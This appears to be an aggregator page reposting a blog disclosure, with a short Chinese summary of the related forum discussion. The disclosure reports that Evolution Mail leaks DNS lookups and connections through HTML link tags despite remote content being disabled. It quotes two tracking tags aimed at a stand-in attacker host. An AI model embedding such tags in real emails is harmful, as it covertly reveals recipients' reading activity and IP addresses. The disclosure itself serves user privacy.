Evolution Mail用户很容易跟踪
Evolution Mail Users Easily Trackable

原始链接: https://www.grepular.com/Evolution_Mail_Users_Easily_Trackable

Evolution Mail的“加载远程内容”隐私功能破裂且无效。尽管设置已被禁用,但邮件客户端通过HTML标签泄漏了用户信息,例如

黑客新闻讨论突出显示了与通过HTML电子邮件跟踪有关的Evolution电子邮件客户端中的隐私漏洞。即使禁用了“加载远程内容”,Evolution仍可能会使用户接触到跟踪,这与更成熟的电子邮件客户端(如Thunderbird)提供了更好的保护。核心问题在于webkitgtk,尚未正确修复相关的错误。 几位评论者讨论了更广泛的电子邮件隐私问题,包括Gmail的图像代理及其对发送者信息知识打开的影响。解决方案包括使用纯文本完全禁用HTML电子邮件,并使用HTML预处理器(如Dompurify)进行更安全的渲染,以及AD Blockers/vpns to Thwart Trackers。 谈话还涉及由于垃圾邮件而引起的随意通信和聊天客户端的临时通信的降低,尽管电子邮件对于专业环境和互操作性很重要的外部通信仍然至关重要。有些人主张修复或披露“加载远程内容”隐私问题,而另一些人则认为这是一个小问题。
相关文章

原文

Evolution Mail’s “Load Remote Content” option, as a privacy protection feature doesn’t work. They know it doesn’t work. It hasn’t worked for years and there is no sign it will be fixed any time soon.

I discovered the other day that if a HTML email contains a tag like:

<link rel="dns-prefetch" href="https://trackingcode.attackersdomain.example.com">

Then when an email is opened in Evolution Mail, a DNS request for trackingcode.attackersdomain.example.com is performed. This happens with remote content disabled, and without clicking the button to fetch it. The sender can look at their DNS logs to see if you’ve read your email, and the IP address of your DNS resolver at that time, which may indicate your location.

I opened a bug report with Evolution Mail, and they blamed WebKitGTK for this situation and have closed my ticket as a duplicate of another ticket which was opened in April 2024. That ticket reported a different but similar bug:

<link href="trackingcode.attackersdomain.example.com" rel="preconnect">

This apparently triggers a connection when you read an email, even without clicking to load remote content. An attacker could look at the SNI header during the TLS negotiation to identify the unique reader of such an email, and it would grant them their IP address.

This one links back to a webkit bug which was opened in August 2023, which also suggests there will be other such leaks, and which shows no sign of being dealt with.

I suggested that maintaining a whitelist of allowed html tags and attributes, and stripping them before passing the email html onto a web browser would be a good defense in depth strategy, but this looks unlikely to be followed.

So my suggestion is: If you care about having privacy when reading your email, uninstall Evolution Mail. It doesn’t protect your privacy, and the devs don’t consider that to be their responsibility.

Want to leave a tip?BitcoinMoneroZcashPaypalYou can follow this Blog using or Mastodon. To read more, visit my blog index.

联系我们 contact @ memedata.com